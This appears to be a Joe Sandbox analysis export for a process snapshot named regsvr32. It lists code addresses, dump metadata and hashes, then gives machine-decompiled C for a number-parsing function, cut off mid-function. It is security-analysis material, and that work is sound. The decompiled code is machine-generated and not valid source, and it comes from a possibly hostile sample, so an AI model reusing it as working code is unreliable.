0x00418e80
0x00418e80
0x00418e80
0x00418e88
0x00418e8b
0x00418e8e
0x00418e94
0x00418e97
0x00418e9a
0x00418eaa
0x00418ead
0x00418eb0
0x00418e9c
0x00418ea0
0x00418ea3
0x00000000
0x00418ea5
0x00418ea5
0x00418ea5
0x00418ea3
0x00418eb3
0x00418eb6
0x00418eb8
0x00418ebd
0x00418ebd
0x00418ebd
0x00418ec1
0x00418ec3
0x00419303
0x00419303
0x00419306
0x00000000
0x0041930c
0x00418ec9
0x00418ec9
0x00418ecd
0x00418ed1
0x00418ed7
0x00418eda
0x00418edd
0x004192a2
0x004192a2
0x00418ee3
0x00418ee7
0x00418eea
0x00418eed
0x0041928b
0x0041928e
0x00418ef3
0x00418ef7
0x00418efa
0x00000000
0x00418f00
0x00418f00
0x00418f00
0x00418efa
0x00419294
0x0041929a
0x00000000
0x0041929c
0x0041929c
0x0041929c
0x0041929a
0x004192a9
0x004192a9
0x004192b1
0x004192b7
0x004192ba
0x004192bd
0x00419300
0x00000000
0x004192bf
0x004192bf
0x004192cd
0x004192cf
0x004192d2
0x004192d5
0x004192d8
0x00419325
0x00419325
0x0041932c
0x004192da
0x004192da
0x004192de
0x004192e1
0x004192e4
0x0041930e
0x00419311
0x00419314
0x004192e6
0x004192e6
0x004192ea
0x004192ec
0x004192ee
0x00000000
0x004192f0
0x004192f2
0x004192f8
0x004192fb
0x004192fb
0x004192ee
0x0041931a
0x0041931f
0x00000000
0x00419321
0x00419321
0x00419321
0x0041931f
0x0041932e
0x00419332
0x00419335
0x00419338
0x0041934b
0x0041934b
0x0041934b
0x0041934e
0x00419350
0x00419353
0x00419358
0x00000000
0x00000000
0x0041935e
0x00419361
0x00419364
0x00419380
0x00419383
0x00419366
0x0041936a
0x0041936d
0x00000000
0x0041936f
0x0041936f
0x0041936f
0x0041936d
0x00419386
0x00419389
0x0041938b
0x00419390
0x00419390
0x00419394
0x00419398
0x0041939b
0x0041939e
0x004193a4
0x004193a7
0x004193aa
0x004193c0
0x004193c3
0x004193ac
0x004193b0
0x004193b3
0x00000000
0x004193b5
0x004193b5
0x004193b5
0x004193b3
0x004193c6
0x004193c9
0x004193cb
0x004193d0
0x004193d0
0x004193d0
0x004193d4
0x004193d6
0x004193dc
0x004193e0
0x004193e2
0x004193e5
0x004193e8
0x00419420
0x00419420
0x004193ea
0x004193ee
0x004193f1
0x004193f4
0x00419404
0x00419407
0x004193f6
0x004193fa
0x004193fd
0x00000000
0x004193ff
0x004193ff
0x004193ff
0x004193fd
0x0041940d
0x00419413
0x00000000
0x00419415
0x00419415
0x00419415
0x00419413
0x00419427
0x00419427
0x0041942b
0x0041942f
0x00419433
0x00419435
0x00419438
0x0041943b
0x00419490
0x00419490
0x00419497
0x00000000
0x0041943d
0x0041943d
0x00419441
0x00419444
0x00419447
0x00419470
0x00419473
0x00419449
0x00419449
0x0041944d
0x0041944f
0x00419451
0x00000000
0x00419453
0x00419455
0x0041945b
0x0041945e
0x0041945e
0x00419451
0x00419479
0x0041947e
0x00000000
0x00419480
0x00419480
0x00419340
0x00419340
0x00419343
0x00419343
0x00419346
0x00419348
0x00000000
0x00419348
0x0041947e
0x0041943b
0x00419433
0x0041949e
0x004194a1
0x004194a3
0x004194a7
0x004194ad
0x004194b1
0x004194b1
0x004194b1
0x004194b4
0x00000000
0x004194b4
0x0041934b
0x00419338
0x004192bd
0x004194b7
0x004194b7
0x00419561
0x00419561
0x00419561
0x00419564
0x00419566
0x00419569
0x0041956e
0x00000000
0x00000000
0x00419574
0x00419577
0x0041957a
0x00419590
0x00419593
0x0041957c
0x00419580
0x00419583
0x00000000
0x00419585
0x00419585
0x00419585
0x00419583
0x00419596
0x00419599
0x0041959b
0x004195a0
0x004195a0
0x004195a4
0x004195a8
0x004195ab
0x004195ae
0x004195b4
0x004195b7
0x004195ba
0x004195d0
0x004195d3
0x004195bc
0x004195c0
0x004195c3
0x00000000
0x004195c5
0x004195c5
0x004195c5
0x004195c3
0x004195d6
0x004195d9
0x004195db
0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: db6765232a26ba5e338042e5a993512107519f6c7c7339a405b59652da811e81
Instruction ID: d2ea1f062f5f602ca19fc33afaec867a4fd0a08b37e9a1e56805ddc8a18941d4
Opcode Fuzzy Hash: db6765232a26ba5e338042e5a993512107519f6c7c7339a405b59652da811e81
Instruction Fuzzy Hash: 78023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4A5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 0041869B Relevance: 1.7, Strings: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E0041869B(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				char _t707;
				intOrPtr* _t708;
				intOrPtr* _t710;
				intOrPtr* _t713;
				signed short* _t716;
				char* _t718;
				signed long long _t720;
				intOrPtr _t725;
				char* _t730;
				signed long long _t732;
				signed short* _t734;
				signed short** _t736;
				signed short* _t739;
				signed short* _t742;
				signed short* _t745;
				signed short** _t747;
				signed short* _t750;
				signed short* _t753;
				signed short** _t755;
				signed short* _t759;
				signed short* _t762;
				signed short** _t764;
				signed short* _t767;
				signed short* _t770;
				signed short* _t773;
				signed short* _t776;
				char* _t778;
				signed long long _t780;
				signed short* _t782;
				signed short** _t784;
				signed short* _t787;
				signed short* _t790;
				char* _t793;
				signed short* _t796;
				signed short** _t798;
				signed short* _t801;
				signed short* _t804;
				intOrPtr* _t806;
				signed short** _t808;
				signed short* _t811;
				signed short* _t814;
				signed short* _t817;
				char* _t819;
				signed int _t820;
				signed short* _t822;
				signed short** _t824;
				signed short* _t827;
				signed short* _t830;
				signed short* _t832;
				intOrPtr _t833;
				void* _t836;
				long long _t837;
				intOrPtr* _t838;
				signed short* _t841;
				long long* _t843;
				signed int _t847;
				void* _t850;
				signed int _t853;
				signed short** _t856;
				signed short* _t859;
				signed short* _t864;
				signed short** _t866;
				signed short* _t870;
				signed short* _t873;
				signed short* _t876;
				intOrPtr* _t878;
				intOrPtr* _t879;
				void* _t881;
				long long* _t882;
				intOrPtr* _t885;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t894;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t900;
				intOrPtr* _t901;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr _t906;
				intOrPtr* _t907;
				intOrPtr* _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t914;
				intOrPtr* _t917;
				intOrPtr* _t918;
				intOrPtr* _t920;
				intOrPtr* _t921;
				intOrPtr* _t923;
				intOrPtr* _t924;
				intOrPtr* _t925;
				intOrPtr* _t927;
				intOrPtr* _t929;
				char* _t932;
				intOrPtr* _t934;
				intOrPtr* _t935;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t939;
				intOrPtr* _t942;
				intOrPtr* _t944;
				char* _t946;
				intOrPtr* _t948;
				intOrPtr* _t950;
				intOrPtr* _t951;
				intOrPtr* _t952;
				intOrPtr _t953;
				char* _t954;
				signed long long _t956;
				void* _t958;
				intOrPtr _t961;
				intOrPtr _t962;
				intOrPtr* _t964;
				char* _t968;
				intOrPtr* _t970;
				intOrPtr* _t972;
				intOrPtr* _t973;
				intOrPtr* _t974;
				intOrPtr* _t976;
				intOrPtr* _t977;
				intOrPtr* _t979;
				intOrPtr* _t980;
				intOrPtr* _t982;
				intOrPtr* _t983;
				intOrPtr* _t986;
				signed int _t987;
				signed short* _t990;
				signed short* _t994;
				signed short* _t998;
				signed short* _t1001;
				signed short* _t1006;
				signed short* _t1010;
				signed short* _t1014;
				signed short* _t1018;
				signed short* _t1027;
				signed short* _t1028;
				signed short* _t1031;
				signed short* _t1036;
				signed int* _t1042;
				signed int* _t1044;
				signed int* _t1045;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				intOrPtr* _t1050;
				signed int* _t1051;
				signed int* _t1052;
				signed int _t1053;
				void* _t1054;
				intOrPtr _t1055;
				intOrPtr* _t1056;
				long long _t1058;
				signed short* _t1060;
				intOrPtr* _t1061;
				char* _t1062;
				void* _t1066;
				long long* _t1069;
				signed int _t1071;
				signed int _t1074;
				long long _t1075;
				void* _t1077;
				void* _t1078;
				intOrPtr* _t1079;
				long long _t1080;
				char* _t1081;
				signed int _t1083;
				char* _t1084;
				void* _t1085;
				void* _t1086;
				char* _t1088;
				void* _t1089;
				signed int _t1090;
				char* _t1091;
				long long _t1092;
				signed int _t1094;
				void* _t1095;
				short* _t1096;
				long long _t1099;
				long long _t1100;

				_t1095 = __r15;
				_t1089 = __r14;
				_t1086 = __r13;
				_t1078 = __r12;
				_t1075 = __r9;
				_t1069 = __r8;
				_t1042 = __rdi;
				_t987 = __rdx;
				_t881 = __rbx;
				_t1054 = __rax;
				_t707 = _v32;
				if(_t707 >= 0x10) {
					_t986 = _v56;
					if(_t707 + 1 >= 0x1000) {
						_t986 =  *((intOrPtr*)(_t986 - 8));
					}
					_t415 = E00402090(_t415, _t986);
				}
				_t416 = E0044CEA0(_t415, _t1054);
				asm("ud2");
				_t708 =  *_t1061;
				 *_t708 =  *_t708 + _t416;
				 *_t708 =  *_t708 + _t416;
				0;
				0;
				_t1062 =  &_v192;
				_a96 = _t1075;
				_t882 = _t1069;
				_t1090 = _t987;
				_t1055 = _a224;
				_t885 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_v32 = _t885;
				_t710 =  *_t885;
				 *((intOrPtr*)(_t710 + 0x10))(_t881, _t1042, _t1054, _t1078, _t1086, _t1089, _t1095, _t1061, _t1066);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1069, _t1075, _t1077, _t1078, _t1086, _t1090, _t1095);
				_t1079 = _t710;
				_t887 = _v32;
				if(_t887 != 0) {
					_t879 =  *_t887;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1079 + 0x30))();
				_t889 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_a40 = _t889;
				_t713 =  *_t889;
				 *((intOrPtr*)(_t713 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1069, _t1075, _t1077, _t1090);
				_t1056 = _t713;
				_t891 = _a40;
				if(_t891 != 0) {
					_t878 =  *_t891;
					 *((intOrPtr*)(_t878 + 0x18))();
					if(_t878 != 0) {
						 *((intOrPtr*)( *_t878 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1056 + 0x68))();
				_t893 =  *_t882;
				_t568 = 0;
				_t558 = 0;
				if(_t893 != 0) {
					_t876 =  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x38))));
					if(_t876 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t893 + 0x38))();
					} else {
						_t524 =  *_t876 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t894 =  *_a96;
				if(_t894 != 0) {
					_t873 =  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x38))));
					if(_t873 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t894 + 0x38))();
					} else {
						_t522 =  *_t873 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1096 = _t1090;
				if(_t558 != _t568) {
					if( *(_t882 + 8) == 0) {
						_t983 =  *_t882;
						if(_t983 == 0) {
							L34:
							 *_t882 = 0;
						} else {
							_t870 =  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x38))));
							if(_t870 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t983 + 0x38))();
							} else {
								_t521 =  *_t870 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L34;
							} else {
								 *(_t882 + 0xa) = _t521;
							}
						}
						 *(_t882 + 8) = 1;
					}
					_t517 =  *(_t882 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1096 = _t1090;
						if(_t517 == _a12) {
							 *_t1090 = 0x2d;
							_t980 =  *_t882;
							__eflags = _t980;
							if(_t980 == 0) {
								goto L49;
							} else {
								_t866 =  *((intOrPtr*)(_t980 + 0x38));
								_t1036 =  *_t866;
								__eflags = _t1036;
								if(_t1036 == 0) {
									L46:
									_t519 =  *((intOrPtr*)( *_t980 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t980 + 0x50));
									_t600 =  *_t1042;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L46;
									} else {
										goto L45;
									}
								}
								goto L47;
							}
							goto L50;
						}
					} else {
						 *_t1090 = 0x2b;
						_t982 =  *_t882;
						if(_t982 == 0) {
							L49:
							 *_t882 = 0;
							_t518 = 1;
						} else {
							_t866 =  *((intOrPtr*)(_t982 + 0x38));
							_t1036 =  *_t866;
							if(_t1036 == 0) {
								L40:
								_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t982 + 0x50));
								_t600 =  *_t1042;
								if(_t600 > 0) {
									L45:
									 *_t1042 = _t600 - 1;
									 *_t866 =  &(_t1036[1]);
									_t519 =  *_t1036 & 0x0000ffff;
								} else {
									goto L40;
								}
							}
							L47:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L49;
							} else {
								_t518 = 0;
							}
						}
						L50:
						_t1096 = _t1090 + 1;
						 *(_t882 + 8) = _t518;
					}
				}
				 *_t1096 = 0x7830;
				_t895 =  *_t882;
				_t569 = 0;
				_t559 = 0;
				if(_t895 != 0) {
					_t864 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t864 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t515 =  *_t864 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t716 = _a96;
				_t896 =  *_t716;
				if(_t896 != 0) {
					_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t716 =  *_t896;
						_t513 = _t716[0x1c]();
					} else {
						_t513 =  *_t716 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L118:
					_t559 = 0;
				} else {
					if( *(_t882 + 8) == 0) {
						_t979 =  *_t882;
						if(_t979 == 0) {
							L72:
							 *_t882 = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
								_t716 =  *_t979;
								_t512 = _t716[0x1c]();
							} else {
								_t512 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L72;
							} else {
								 *(_t882 + 0xa) = _t512;
							}
						}
						 *(_t882 + 8) = 1;
					}
					if(( *(_t882 + 0xa) & 0x0000ffff) != _v32) {
						goto L118;
					} else {
						_t972 =  *_t882;
						if(_t972 == 0) {
							L85:
							 *_t882 = 0;
							 *(_t882 + 8) = 1;
							goto L86;
						} else {
							_t856 =  *((intOrPtr*)(_t972 + 0x38));
							_t1031 =  *_t856;
							if(_t1031 == 0) {
								L79:
								_t508 =  *((intOrPtr*)( *_t972 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t972 + 0x50));
								_t598 =  *_t1042;
								if(_t598 <= 0) {
									goto L79;
								} else {
